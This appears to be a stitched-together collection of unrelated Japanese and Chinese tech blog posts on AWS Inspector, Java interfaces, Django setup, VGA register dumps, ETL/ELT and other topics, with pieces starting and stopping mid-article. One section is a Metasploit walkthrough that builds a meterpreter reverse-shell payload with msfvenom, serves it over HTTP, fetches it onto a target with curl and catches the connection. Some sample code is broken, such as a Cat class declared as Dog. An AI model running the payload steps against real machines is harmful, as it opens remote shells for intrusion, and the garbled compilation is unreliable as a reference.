個人的には、修正箇所ごとに出力してくれるので、チェックもしやすく感じました。
※回答が英語ですが、日本語での出力も確認できています。日本語を指定してあげるのが適切かもしれません。
そのまま、実際にデプロイしてみると、冒頭のとおり、無事RAG画面でも反映されることが確認できました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/5078b9fb-14a1-4e55-9252-d1b2f699b212.png)

# 感想
全くの知見がない私でも1~2時間程度で実装できました！
AWSCLIやCloudFormation等の設定に時間がかかってしまい、コーディングは一瞬だったので、15分とかで実装できるくらい便利すぎて驚きました。
有料版も検討したいと思います、、、！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/50513f93-9138-4d5d-be4a-7b57099c3292.png)

https://aws.amazon.com/jp/q/developer/pricing/

メモ
Amazon Q Developerのチャットでは、コピペの入力に対して、Ctrl+Zが効かないバグが発生していそうでした。
Metasploit Meterpreterで接続

# Meterpreterの作成
linux x64版のMeterpreterを作成します。
-p：ペイロード
LHOST：接続先IPアドレス
-f：フォーマット（ファイル形式）elfは、Linuxの標準バイナリ形式の実行ファイル
-o：出力先
```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 -f elf -o meterpreter
```
この場合、LPORTは、デフォルトの4444ポートになります。
# ターゲットに転送
今回は、curlでダウンロードします。
#### 攻撃端末で以下のコマンドを実行
```
python3 -m http.server 8888
```
#### ターゲット端末でダウンロード
```
curl 192.168.56.10:8888/meterpreter -o meterpreter
```
# 攻撃準備
metasploitを起動します。
```
msfconsole
```
汎用的なハンドラーを使用します。
```
use exploit/multi/handler
```
ペイロードを変更します。
msfvenomコマンドで使ったものと同じ値をセットします。
```
set PAYLOAD linux/x64/meterpreter/reverse_tcp
```
オプションを設定ます。
```
set LHOST 192.168.56.10
```
実行します。
4444ポートで、待ち受けます。
```
exploit
```
# 接続
ダウンロードしたMeterpreterに実行権限を付与します。
```
chmod u+x meterpreter
```
ターゲット端末で、ダウンロードしたMeterpreterを実行します。
```
./meterpreter
```
攻撃端末に接続されます。
Amazon Inspectorの検出結果をcsv形式で出力する（コンソール操作のみ）

## はじめに
Amazon Inspectorの検出結果（脆弱性一覧）をawsコマンドで取得できるか調査していたのですが、そんなことをせずにマネジメントコンソール上で取得できることに気づいたので、やり方を残しておきます。

なぜわざわざ記事にしようと思ったかというと、**Inspectorに「ボタンひとつでダウンロード」のような機能が備わっておりません。** 代わりに「CSV,JSON形式でS3へ出力する機能」が備わっているのですが、エクスポート時に **カスタムキーを設定する必要があったり、キーポリシーに手を加える必要**があります。

## 全体の流れ
1. KMSでカスタムキーの作成
1. S3の作成、バケットポリシーの設定
1. Amazon Inspectorのダッシュボードから出力する

## 手順

### 1. KMSでカスタムキーの作成
Inspectorは標準キーが存在しないため、「カスタマー管理型のキー」を作成します。基本デフォルトの設定で良いですが、キーポリシーまわりだけ手を加える必要があります。

「STEP4-アクセス許可」まで進んだ後、`AWSServiceRoleForAmazonInspector2`を選択して、キーポリシーの編集画面に遷移します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4087869/cbcc5603-fbc6-46fa-971e-06db10726c46.png)

`Principal`ですが、STEP4で設定した「ロール」が設定されているので、「サービス」に書き換えてください。書き換え後は以下の記述です。

```
"Service": "inspector2.amazonaws.com"
```

面倒な方は、以下のキーポリシーを貼り付けてもらってOKです（ご自身のアカウントIDを記述ください）
``` json
{
  "Version": "2012-10-17",
  "Id": "key-consolepolicy-3",
  "Statement": [
    {
      "Sid": "Enable IAM User Permissions",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<アカウントID>:root"
      },
      "Action": "kms:*",
      "Resource": "*"
    },
    {
      "Sid": "Allow use of the key",
      "Effect": "Allow",
      "Principal": {
        "Service": "inspector2.amazonaws.com"
      },
      "Action": [
        "kms:Encrypt",
        "kms:Decrypt",
        "kms:ReEncrypt*",
        "kms:GenerateDataKey*",
        "kms:DescribeKey"
      ],
      "Resource": "*"
    },
    {
      "Sid": "Allow attachment of persistent resources",
      "Effect": "Allow",
      "Principal": {
        "Service": "inspector2.amazonaws.com"
      },
      "Action": [
        "kms:CreateGrant",
        "kms:ListGrants",
        "kms:RevokeGrant"
      ],
      "Resource": "*",
      "Condition": {
        "Bool": {
          "kms:GrantIsForAWSResource": "true"
        }
      }
    }
  ]
}

```

カスタムキーの作成は完了です。

### 2. S3の作成、バケットポリシーの設定
Inspectorが出力するS3バケットを作成しましょう。バケットへのアクセスにInspectorを追加したいため、以下のバケットポリシーを設定してください。

``` json
{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Effect": "Allow",
			"Principal": {
				"Service": "inspector2.amazonaws.com"
			},
			"Action": "s3:PutObject",
			"Resource": "arn:aws:s3:::<バケット名>/*"
		}
	]
}
```

これでInspectorからのアクセスを受け付けることができます。

### 3. Amazon Inspectorのダッシュボードから出力する
これで事前準備が整いました。早速、Inspectorで検出結果を出力をしてみましょう。

場所はこちらですr
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4087869/ffb66eb3-32d1-4826-9d51-f7fae406c75c.png)

今まで作成してきたものを設定します。（出力対象をフィルタすることもできます）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4087869/c815328c-f4c7-4e55-8ac6-c118dac62eca.png)

出力ボタンを押下すると、設定した出力形式でファイルがアップロードされています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4087869/e3dedd74-d373-4291-a40c-fca0b1436a85.png)

## まとめ
Amazon Inspectorを使用して脆弱性の一覧をCSV形式で出力する方法を解説しました。もっといいやり方等あればコメントで教えていただけると幸いです
ETL和ELT的区别，以及DataLake和DataWarehouse

ETL：抽取（Extract）、转换（Transform）、加载（Load）
在关系型数据模型的早期时代，数据通常是结构化的（structured）。
当数据从不同来源被提取出来后，通常会先被转换为所需的格式，再加载到目标位置（如数据库或数据仓库）。
这个过程就叫做：

ETL：Extract（抽取）、Transform（转换）、Load（加载）

即使在机器学习出现之前，ETL 在数据领域就已经非常流行了；
而今天，它在机器学习应用中仍然极为重要。

ETL 是指一种通用的数据处理方式，把原始数据加工成你想要的形状与格式。

1️⃣ 抽取（Extract）
从数据源中提取你所需要的数据。

数据可能来自多个来源，格式不统一；

有些数据可能是损坏的或格式不正确的；

在抽取阶段，你需要：

对数据进行校验（validate）；

对不合格的数据进行剔除（reject）；

甚至可能需要通知数据来源方修复这些问题。

因为这是整个流程的第一步，所以如果这一步做好了，可以为后续节省大量时间和精力。

2️⃣ 转换（Transform）
这是整个流程中最核心的步骤，大部分的数据处理工作都在这一步完成。

可能会包括以下操作：

从多个来源的表中 连接（join） 数据；

清洗（clean） 数据；

统一字段格式/取值（例如：有的数据源用 "Male"/"Female"，有的用 "M"/"F"，还有的用 "1"/"2"）；

进行操作：转置、去重、排序、聚合、特征派生、新一轮校验等等。

3️⃣ 加载（Load）
决定如何、以及多频率地将处理后的数据加载到目标位置：

可以加载到文件、

或 数据库、

或 数据仓库（data warehouse）。

📌 虽然 ETL 的概念很简单，但它却是许多公司数据系统的核心架构基础。
书中图 2-9 展示了 ETL 流程的整体概况。

从 ETL 到 ELT：数据爆炸时代的转变
当互联网普及、硬件性能飞跃之后，数据采集变得容易，而数据量也随之极速增长。

不仅数据量变多了，数据的形态也发生了变化：

数据来源增加；

数据结构（schema）不断演化。

为了解决 schema 频繁变动的问题，有公司提出了一个新思路：

“我们干脆先把所有数据丢进一个**数据湖（data lake）**吧，
等用的时候再去读取原始数据加工。”

这种思路叫做：

ELT：Extract（抽取）→ Load（加载）→ Transform（转换）

ELT 的优势在于：

数据到达很快；

无需提前加工，就能先存储下来。

📉 但 ELT 并不完美
随着数据不断增长，ELT 也暴露出问题：

在庞大的原始数据中搜索目标数据会变得效率极低；

而随着公司转向 云端运行应用，基础设施标准化，数据结构也逐渐趋于稳定；

将数据写入预定义 schema 变得更加可行。

🏗️ 新趋势：数据湖 + 数据仓库 = Data Lakehouse
企业在权衡：

存储结构化数据（高性能） vs

存储非结构化数据（高灵活性）

于是，出现了一种融合架构：

Lakehouse（湖仓一体）解决方案

比如：

✅ Databricks

✅ Snowflake

这类平台提供的功能既有 数据湖的灵活性，又具备 数据仓库的结构化管理能力。

如需我为你：

对比 ETL 与 ELT 在实际工程中的优劣；

展示 Spark 或 Airflow 构建的 ETL 流程示例；

推荐 Lakehouse 架构下的 ML 数据管道设计；
【Python実践自作問題集】目次

# 1. はじめに

この問題集は、Pythonの基礎を習得した後、次の段階へ進みたい人のサポートをすることが目的です。
また、競技プログラミングとは異なり、複雑なアルゴリズムの問題ではなく「**可読性の最大化**」に焦点を当てた問題が中心となります。

# 2. 問題へのリンク

気が向いたときに追加していきます。

|No.|追加日|リンク|
|:-|:-|:-|
|1|2025/06/07|[型変数の活用](https://qiita.com/__Lily__/items/3f478edd70d5cf6fbeb9)|
|2|2025/06/07|[list/tuple問題の解消](https://qiita.com/__Lily__/items/98b11762b13b2a996ad2)|
|3|2025/06/07|[整数？実数？](https://qiita.com/__Lily__/items/cce12790e536667f12bd)|
|4|2025/06/07|[型に厳密なデータクラス1](https://qiita.com/__Lily__/items/1f6a2d221fbaae98a523)|
|5|2025/06/08|[型に厳密なデータクラス2](https://qiita.com/__Lily__/items/87ed19c0087a712692a8)|
|6|2025/06/08|[型に厳密なデータクラス3](https://qiita.com/__Lily__/items/36f527a357aa63b2520d)|
|7|2025/06/08|[不正な値を許すな](https://qiita.com/__Lily__/items/ab9dfb8bd0cb0383b641)|
|8|2025/06/08|[ネストされた辞書](https://qiita.com/__Lily__/items/5e721346f62147cc26e5)|
ニューラルネットワーク(neural network)はなぜ任意の関数を近似できるのか

近年、機械学習や深層学習が飛躍的に進化し、音声認識、画像分類、翻訳、さらには創作まで自動で行えるようになっています。
その中心にあるのが「**ニューラルネットワーク**」という仕組みです。

では、なぜニューラルネットワークは、**あらゆる関数の形（ルール）を学習・再現**できるのでしょうか？

以下の流れで丁寧に解説します：

* ニューラルネットワークの構造
* なぜ「なんでも学べる」のか
* 数学的根拠（ユニバーサル近似定理）
* 実例と応用
* 構造図解

---

## 🧩 ニューラルネットワークの基本構造

ニューラルネットワークは、以下のような\*\*レイヤー構造（層の重なり）\*\*で成り立っています。

```mermaid
graph LR
    subgraph 入力層
        A1[入力1]
        A2[入力2]
        A3[入力3]
    end

    subgraph 隠れ層
        B1[ノード1]
        B2[ノード2]
        B3[ノード3]
    end

    subgraph 出力層
        C1[出力]
    end

    A1 --> B1
    A1 --> B2
    A1 --> B3

    A2 --> B1
    A2 --> B2
    A2 --> B3

    A3 --> B1
    A3 --> B2
    A3 --> B3

    B1 --> C1
    B2 --> C1
    B3 --> C1

```

各層には「ノード（ニューロン）」があり、それぞれが\*\*小さな計算（重み付き加算と活性化関数）\*\*を行います。
この計算を何層にもわたって繰り返すことで、複雑なルールを表現できるようになるのです。

---

## 🔍 具体例で理解しよう！

### 例1：直線の関数

> 関数：y = 2x + 1

これは「入力xに対して出力yが直線的に増える」というルール。
1つのノードでも学習可能で、ニューラルネットワークの「最も簡単な使い方」です。

---

### 例2：非線形な関数

> 関数：y = x² - x + 3

これは放物線になります。こうなると、**直線の組み合わせだけでは表現できません**。

しかし、ニューラルネットワークなら、以下のようにして近似できます：

* 複数のノードを使う
* 活性化関数（ReLUやシグモイドなど）で非線形性を加える

---

### 例3：不連続な関数（ステップ関数）

> 関数：y = 1（偶数のとき）、0（奇数のとき）

このように「段差のある関数」は非常に扱いにくいですが、**十分に大きなニューラルネットワークなら、段差を細かい線で真似**できます。

---

## 🧠 ユニバーサル近似定理とは？

数学の世界では、「**任意の連続関数は、1つの隠れ層を持つニューラルネットワークで近似できる**」ということが証明されています。
これを「**ユニバーサル近似定理（Universal Approximation Theorem）**」と呼びます。

### 条件

* 活性化関数が非線形（例：シグモイド関数やReLU）
* 隠れ層のユニット数が十分に多い

この理論により、「どんな複雑な関数でも、ニューラルネットワークで表現可能」とわかります。

---

## 🛠 詳細構造イメージ

以下は、具体的なニューラルネットワーク（3層構造）の図です：

```mermaid
graph TD
    Input1[入力1]
    Input2[入力2]
    Input3[入力3]

    Hidden1A[隠れ層1 - ノードA]
    Hidden1B[隠れ層1 - ノードB]
    Hidden1C[隠れ層1 - ノードC]

    Output[出力]

    Input1 --> Hidden1A
    Input1 --> Hidden1B
    Input1 --> Hidden1C

    Input2 --> Hidden1A
    Input2 --> Hidden1B
    Input2 --> Hidden1C

    Input3 --> Hidden1A
    Input3 --> Hidden1B
    Input3 --> Hidden1C

    Hidden1A --> Output
    Hidden1B --> Output
    Hidden1C --> Output
```

---

## 🎯 実際の応用例

| 分野     | 入力         | 出力               | 利用されている関数の例              |
| ------ | ---------- | ---------------- | ------------------------ |
| 画像認識   | ピクセルの明るさ   | 「これは犬/猫/人」などのラベル | 非線形関数 + ソフトマックス分類        |
| 翻訳     | 英文の単語列     | 対応する日本語の文        | 時系列関数・注意機構（Transformer）  |
| 声→文字変換 | 音の波形データ    | テキスト（例：「こんにちは」）  | 時系列 + 畳み込み + リカレントネットワーク |
| 自動運転   | カメラ画像、速度など | ハンドルの角度、ブレーキ操作   | 多層パーセプトロン、強化学習           |

---

## 🧾 まとめ

| ポイント                          | 説明 |
| ----------------------------- | -- |
| ニューラルネットワークは「入力→出力」のルールを学ぶ機械  |    |
| 小さな非線形計算を重ねることで、複雑な関数を再現できる   |    |
| ユニバーサル近似定理により、任意の連続関数を理論上近似可能 |    |
| 実際に多くの分野で使われており、人間のような判断も可能に  |    |

---

## ✨ 最後に

「ニューラルネットワークは何でも学べる」というのは魔法ではなく、**小さなパーツ（ノード）の積み重ね**によるものです。
この考え方を理解することで、AIの仕組みに対する理解もぐっと深まります。

---
スワップについて　Linucレベル１勉強メモ　＃５５

スワップとは
メモリが足りなくなった時に、メモリの中身をハードディスクに移す作業
つまりメモリが足りなくなった時に、実際のメモリよりも大きいメモリがあると錯覚させる技
パフォーマンスは低下してしまうが、メモリ不足でシステムが動かなくなることを防ぐ。

ースワップの作成の仕方ー
　書式　mkswap デバイス名もしくはファイル名

ースワップ領域を有効にするにはー
　書式　swapon デバイス名もしくはファイル名

以下スワップ時のデータのやりとりを図にしてみました。
![スクリーンショット 2025-06-07 16.11.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3999694/54ea3e3c-d80c-49a9-9b19-9a43378d320c.png)
自分用java学習メモ ～インターフェース～

# インターフェース
クラスに「これを実装してくださいね」と命令するための設計図のようなもの

#### 特徴
・メソッドの宣言だけを書く(中身＝処理は書かない)
・実際の処理はインターフェースを実装するクラスで書く
・複数のインターフェースを1つのクラスが実装できる(多重継承が可能)
・インターフェース名は基本的に先頭に I をつける


### 例...動物が鳴くインターフェース
##### インターフェースの定義
```java:Animal.java
public interface Animal {

    void makeSound(); // 鳴くメソッド（中身は書かない）
}
```

##### インターフェースを実装するクラス
```java:Dog.java
public class Dog implements Animal {

    public void makeSound() {

        System.out.println("ワンワン！");
    }
}
```
```java:Cat.java
public class Dog implements Animal {

    public void makeSound() {

        System.out.println("ニャー！");
    }
}
```
##### 実行するクラス
```java:Main.java
public class Main {

    public static void main(String[] args) }

        Animal dog = new Dog(); // DogはAnimalインターフェースを実装している
        Animal cat = new Cat(); // Catも同様

        dog.makeSound();
        cat.makeSound();
    }
}
```

# インターフェースのポイント
##### interface
インターフェースを定義するときに使うキーワード
##### implements
クラスがインターフェースを実装するときに使う
##### インターフェースの必要性
開発の際の役割分担のため、強制的に機能を制限する

# インターフェースその他の話
### 多重継承が可能
javaではクラスの多重継承は不可であるが、インターフェースでは可能

##### 多重継承時の書き方
```java:java
public class MyClass implements InterfaceA, InterfaceB {

}
```
implements〇, 〇 のようにカンマで区切ることで複数定義可能

### インターフェースにおけるキャスト
```java:java
Animal a = new Dog(); // DogをAnimal型として扱う(アップキャスト)
Dog d = (Dog)a; // Animal型からDog型へ戻す(ダウンキャスト)
```
##### キャストの必要性
抽象的に扱うと制限される
    ・インターフェース型で扱うと、その型で宣言されたメソッドしか呼べない
    
実装クラス特有の処理を使いたいとき
    ・キャストすれば本来のメソッドにアクセスできる

### インターフェース継承ではない(初心者なので混在してる)
##### 継承(親子関係)
・extends
・メソッドやプロパティを継承する
・親クラス↔子クラスの関係

##### インターフェース
・implements
・「こういう機能があるべき」という契約
・クラス↔インターフェースの関係

# 多重継承やキャストを用いたコードを書いてみる
### テーマ：ロボット動物を作ってみよう

##### インターフェース
```java:IAnimal.java
public interface IAnimal {

    void makeSound();
}
```
```java:IMachine.java
public interface IMachine {

    void start();
    void stop();
    void recharge();
}
```
```java:RoboDog.java
public class RoboDog implements IAnimal, IMachine {

    @Override
    public void makeSound() {

        System.out.println("電子音：ワンワン！");
    }

    @Override
    public void start() {

        System.out.println("RoboDog 起動");
    }

    @Override
    public void stop() {

        System.out.println("RoboDog 停止");
    }

    @Override
    public void recharge() {

        System.out.println("充電中...");
    }
}
```
```java:Main.java
public class Main {

    public static void main(String[] args) {

        RoboDog rd = new RoboDog();
        IAnimal animal = (IAnimal)rd;
        IMachine machine = (IMachine)rd;

        animal.makeSound();
        macnihe.start();
        machine.stop();
        machine.recharge();
    }
}       
```
【小ネタ】 Node-RED の Functionノードで await を使う簡単なテスト

## はじめに

Node-RED の Functionノードに関し、await を使った処理が使えそうだったものの、それをシンプルに確認したくなって今回の内容を試しました。


## 試した手順

### 環境準備

とりあえず以下のインストール・起動用のコマンドで、今回のお試し用の環境を用意します（ローカルインストールで進めています）。

```zsh
npm i node-red
npx node-red
```

その後、 http://127.0.0.1:1880/ にブラウザでアクセスして、Node-RED のフローを作っていきます。


### フローの作成

シンプルに、Functionノードで await を使った、何らかの結果の出力を試します。

作成したフローは以下のとおりです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/64232d10-ec9b-46ee-806b-1c4ac70eaf92.png)

そして、Functionノードには以下の処理を書きました。

```javascript
const delay = ms => new Promise(res => setTimeout(res, ms));

try {
    // 3秒待つ
    await delay(3000);

    msg.payload = "✅ 3秒経過しました";
    return msg;
} catch (err) {
    node.error("Async 処理でエラー:", err);
    return null;
}
```

![2025-06-07_16-02-52.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/3fee5379-82b9-4091-a7a5-0afb745c954e.jpeg)


あとは、これを実行してみます。Injectノードのボタンを押すと、3秒後に以下のデバッグ出力が行われたことが確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/c3e42808-9194-4cb5-b81c-3c97c8f16af5.png)
VGAレジスタの初期値ダンプと解析

## 「手探りでCUI OS作成に挑む」連載
この記事は「手探りでCUI OS作成に挑む」連載の一部です。
全体の目次は[「手探りでCUI OS作成に挑む」連載目次](https://qiita.com/earthen94/items/b5d77f98f0cf85a13346)を御覧下さい。

## 目的
将来BIOS開発するにあたりVGAレジスタに適切な値を入れ、自力で初期化しなければなりません。
そこでBIOSを呼び出してテキストモードで初期化し、その直後のレジスタの値をダンプします。
今回はVGAの初期化まではやりません。
まだ勉強中でよく分かっておらず、初期化に失敗したので今回はダンプだけしておき、初期化は次回挑戦します。

## 検証コード
まずint 0x10　AH=03H(テキストモード)で初期化します。
その後順番にレジスタの値を読み出し0x2000〜へ書き込みます。
```boot.bin
org 0x7C00

bits 16

start:
    cli
    xor ax, ax
    mov ds, ax
    mov es, ax
    mov ss, ax
    mov sp, 0x7C00
    sti

    ; --- set text mode 03h ---
    mov ax, 0x0003
    int 0x10

    ; --- set up segment to write to 0x2000 ---
    mov ax, 0x0000
    mov es, ax
    mov di, 0x2000

    ; --- dump misc output register (read-only) ---
    in al, 0x3CC
    stosb ; [0] = MISC

    ; --- dump sequencer (5 regs) ---
    mov cx, 5
    mov bx, 0
seq_loop:
    mov dx, 0x3C4  ; index port
    mov al, bl
    out dx, al
    inc dx         ; 0x3C5
    in al, dx
    stosb
    inc bx
    loop seq_loop

    ; --- dump CRTC (25 regs) ---
    mov cx, 25
    mov bx, 0
crtc_loop:
    mov dx, 0x3D4
    mov al, bl
    out dx, al
    inc dx         ; 0x3D5
    in al, dx
    stosb
    inc bx
    loop crtc_loop

    ; --- dump graphics controller (9 regs) ---
    mov cx, 9
    mov bx, 0
gc_loop:
    mov dx, 0x3CE
    mov al, bl
    out dx, al
    inc dx         ; 0x3CF
    in al, dx
    stosb
    inc bx
    loop gc_loop

    ; --- dump attribute controller (20 regs) ---
    mov cx, 20
    mov bx, 0
ac_loop:
    in al, 0x3DA      ; reset flip-flop
    mov dx, 0x3C0
    mov al, bl
    out dx, al        ; write index
    in al, 0x3C1      ; read data
    stosb
    inc bx
    loop ac_loop   

    ; --- hang ---
    cli
hang:
    hlt
    jmp hang

times 510-($-$$) db 0
dw 0xAA55
```

## 取り出したデータの確認
```
nasm -f bin boot.asm -o boot.bin
qemu-system-i386 -fda boot.bin -monitor stdio
(qemu) pmemsave 0x2000 56 dump.bin
hexdump -v -C dump.bin
```

結果は以下のようになりました。
```
ubuntu@ubuntu:~/kaihatsu/test4$ hexdump -v -C dump.bin
00000000  00 03 00 03 00 02 5f 4f  50 82 55 81 bf 1f 00 4f  |......_OP.U....O|
00000010  0d 0e 00 00 00 00 9c 8e  8f 28 1f 96 b9 a3 ff 00  |.........(......|
00000020  00 00 00 00 10 0e 0f ff  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00                           |........|
00000038
```

これだけでは正しいか分からないですが、次回はこれらのデータを基にVGAを初期化していきます。

以下のように値が並んでいる筈です。
- 0x0000 : MISCレジスタ値
- 0x0001〜0x0005 : シーケンサ5レジスタ
- 0x0006〜0x001A : CRTC 25レジスタ
- 0x001B〜0x0023 : グラフィックスコントローラ9レジスタ
- 0x0024〜0x0037 : アトリビュートコントローラ20レジスタ

最後の方が殆ど０なので少し嫌な気はします。
【TypeScript初心者メモ】ジェネリクス<T>

ジェネリクスとは、型に変数（プレースホルダ）を使うことで、柔軟で再利用可能なコードを書くための仕組みです。

通常の関数では、型が固定されています。
```
// 文字列の配列にしか使えない
function getFirstString(arr: string[]): string {
  return arr[0];
}
```
ジェネリクスを使うと型を汎用的に指定できます。
```
function getFirst<T>(arr: T[]): T {
  return arr[0];
}
```
\<T\> は「あとで指定される型」を表す「型の変数」です。
呼び出すときに T の型が決まるようにできます。
```
const firstNumber = getFirst([1, 2, 3]);      // T は number に自動推論される
const firstString = getFirst(["a", "b", "c"]); // T は string に自動推論される
const result = getFirst<string>(["apple", "banana"]); // T は 明示的にstringに指定される
```
Djangoプロジェクトの環境構築手順まとめ

# 🔰【初心者向け】Djangoプロジェクトの環境構築手順まとめ

こんにちは！
今回はPythonのWebフレームワーク「Django（ジャンゴ）」を使って、**ゼロから環境構築をする方法**を丁寧に解説します。

> ✔ PythonやDjangoをこれから学びたい人
> ✔ Webアプリを作ってみたい人
> ✔ ローカルで開発環境を作りたい人

そんな方に向けた内容です！

---

## 📌 事前準備（Pythonが必要です）

まず、以下のコマンドで Python がインストールされているか確認しましょう。

```bash
python --version
```

※ Python 3.8以上を推奨します。

---

## 🏗️ 1. 仮想環境の作成（venv）

プロジェクトごとに環境を分けたいので、仮想環境を使います。

```bash
python -m venv venv
```

作成した仮想環境を有効化します：

* macOS / Linux:

  ```bash
  source venv/bin/activate
  ```
* Windows:

  ```bash
  venv\Scripts\activate
  ```

> ✅ `venv` という名前は任意です。`env` や `myenv` でもOK！

---

## 📦 2. Djangoをインストール

次に、pipでDjangoをインストールします。

```bash
pip install django
```

バージョン確認：

```bash
django-admin --version
```

---

## 🧱 3. プロジェクトの作成

プロジェクト名を指定して Django のプロジェクトを作成します。

```bash
django-admin startproject myproject
cd myproject
```

> ✅ `myproject` は好きな名前に変更OK！

---

## ▶️ 4. 開発サーバーを起動して確認

下記コマンドでサーバーを起動します：

```bash
python manage.py runserver
```

ブラウザで以下にアクセスします：

```
http://127.0.0.1:8000/
```

> 🎉 「The install worked successfully!」と表示されたら成功！

---

## 🧩 5. アプリの作成（任意）

Djangoでは「アプリ」と呼ばれる単位で機能を分けます。

```bash
python manage.py startapp blog
```

作成したら、`myproject/settings.py` を開いて以下のように追加します：

```python
INSTALLED_APPS = [
    ...
    'blog',
]
```

---

## 🛠 6. データベース初期化

```bash
python manage.py migrate
```

SQLiteが使われ、`db.sqlite3` が生成されます。

---

## 👤 7. 管理ユーザーの作成（管理画面用）

```bash
python manage.py createsuperuser
```

指示に従って、ユーザー名・メール・パスワードを入力します。

その後、以下にアクセス：

```
http://127.0.0.1:8000/admin/
```

ログインすると、Djangoの管理画面に入れます！

---

## ✅ まとめ

| やったこと        | 内容                           |
| ------------ | ---------------------------- |
| Python環境の確認  | `python --version`           |
| 仮想環境の作成      | `python -m venv venv`        |
| Djangoインストール | `pip install django`         |
| プロジェクト作成     | `django-admin startproject`  |
| 開発サーバー起動     | `python manage.py runserver` |
| アプリ作成        | `startapp` コマンド              |
| 管理画面アクセス     | `createsuperuser` でログイン      |

---

## 🎁 おまけ：便利なコマンド

| コマンド                              | 内容                 |
| --------------------------------- | ------------------ |
| `python manage.py shell`          | DjangoのPythonコンソール |
| `python manage.py makemigrations` | モデルの変更を記録          |
| `python manage.py migrate`        | DBに反映              |

---
【ちょっとしたメモ】 pyenv での Python のインストール中の経過を確認する（公式情報のオプションの情報を確認したりなど）＋α

## はじめに

今回は、pyenv での Python のインストールに関する話です。


### 今回の話の内容を使ったきっかけ

今回の内容を使ったきっかけを、少し書いてみます。

個人で使っている Mac に関し、自宅だと以下の M4 の Mac mini をよく使っています。

https://x.com/youtoy/status/1855591540095389975


それと別に、以前から持ち運び用でよく使っている以下のスペックの「Intel版の MackBook Pro」もあります。

https://x.com/youtoy/status/1714005253043990804

これらで異なるバージョンの Python を混在させるのに「pyenv」を使っていて、その中での話です。


上記 2つ目のほうの MackBook Pro で、久しぶりに特定バージョンの Python を pyenv 追加しようとした時に、インストールが途中で止まっているような感じがありました。その時に単純に時間がかかっているだけなのか、エラーを出さずに処理がフリーズしてたりなどするのかが、とても分かりにくい感じがありました（単純に時間がかかっているだけ、という気がしつつも）。

例えば、↓こんな感じで「python-build: use zlib from xcode sdk」という表示が出てから、わりと長い時間、表示が変化しない状態です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/8888d38f-b633-4725-ac43-45a44678a197.png)


ちなみに冒頭の Mac mini だと、そんな不安を感じさせない処理時間でインストールが進んでいました。


#### 今回の内容

その状態で長時間、放置してから再度状況を確認するということもできますが、きちんとインストールが進んでいるかを確認できるようにしたいと思いました。


## インストールコマンド

最終的に使ったインストールコマンドを掲載してみます。 `pyenv install 【Pythonのバージョンなど】` とうコマンドに、 `-v` をオプションでつけた形の以下になります。

```zsh
pyenv install -v 【Pythonのバージョンなど】
```

このコマンドを使いインストールをすると、インストール途中の細かな処理の情報が表示されるようになり、随時、処理が行われている場合は何らか表示が出て確認できるようになりました。



### 調査中に出てきた情報

それと調査途中で出てきたコマンドに以下もあり、後でこれにも触れておきます。

```zsh
PYENV_DEBUG=1 pyenv install -v 3.13.4
```


### コマンドを探した時の流れ

ここからは上記のコマンドの情報にたどり着いたり、内容を公式情報で確認した流れです。情報を探した方法は Web検索と ChatGPT でのやりとりの併用になるのですが、それをメモとして残しておきます。


### ChatGPT で出てきた情報

ChatGPT では、以下の内容を入れて情報を探ってみました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/e2eee4ae-a5f1-4a8d-a183-3b17bc6653d6.png)

自分が入力したコマンドとその後のターミナル上での表示に関する内容を、プロンプトに含めた構成です。

#### ChatGPT の返答

ChatGPT の返答では、考えられる原因として Xcode まわりの対処や zlib 関連の対処など、複数の情報・内容が提示されました。このとき合わせて行っていた Web検索でも、同じような情報に関する複数の記事が出てきていました。

そういった、情報・対処法の候補があれこれ出ている中で、以下の内容も出てきていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/e85c85fb-d250-4e21-b1bf-9f006b883ec6.png)

そしてこのオプションについて、念のため、公式情報で説明が描かれている場所・内容を確認しました。以下で説明を見ると「コンパイル状況を標準出力に表示するオプション」のようだったので、この `-v` をオプションで足せば、処理がフリーズしていないかが分かりそうでした。
（話はずれますが、下記のページは、自分は今回初めて見に行った気がします）

https://github.com/pyenv/pyenv/blob/master/COMMANDS.md#pyenv-install
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/20b1d2d7-0668-49b9-af8e-f31bf5567522.png)


### 気になった部分

とりあえず、今回は `-v` をオプションで足せば OK という感じで目的を達成できましたが、上記の調査で出てきていた `PYENV_DEBUG=1` という部分が気になりました。

それで、情報を探してみました。以下は、とりあえず公式情報で「PYENV_DEBUG」の意味が書かれているところです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/4b664e4a-1159-444b-b69d-58a6848aa70b.png)

どうやら、この環境変数を使って詳細なログを出力させることもできるようです。


今回の目的では、処理中に何らか細かいログが出れば良いので PYENV_DEBUG単体で用いる以下で良さそうな感じでｓ。

```zsh
PYENV_DEBUG=1 pyenv install 3.12
```
本当にsudo gem installで良いの？

こんにちは。
今回はタイトル通り、`sudo gem install` について気になったので検証してみました。

# 調べたきっかけ
iOS の環境構築中、cocoapods をインストールする際に
rbenv で Ruby をインストールしているにもかかわらず、`sudo gem install` を使っている記事が多く見られました。
自分の環境では sudo を付けることに違和感があり、「本当に必要なのか？」と疑問に思ったのがきっかけです。
実際に手元の環境で検証してみることにしました。

# 検証環境

| 項目 | バージョン |
|:-----------|:------------|
| OS       | Ubuntu 22.04        |
| Ruby     | 3.3.0(rbenv 管理)      |
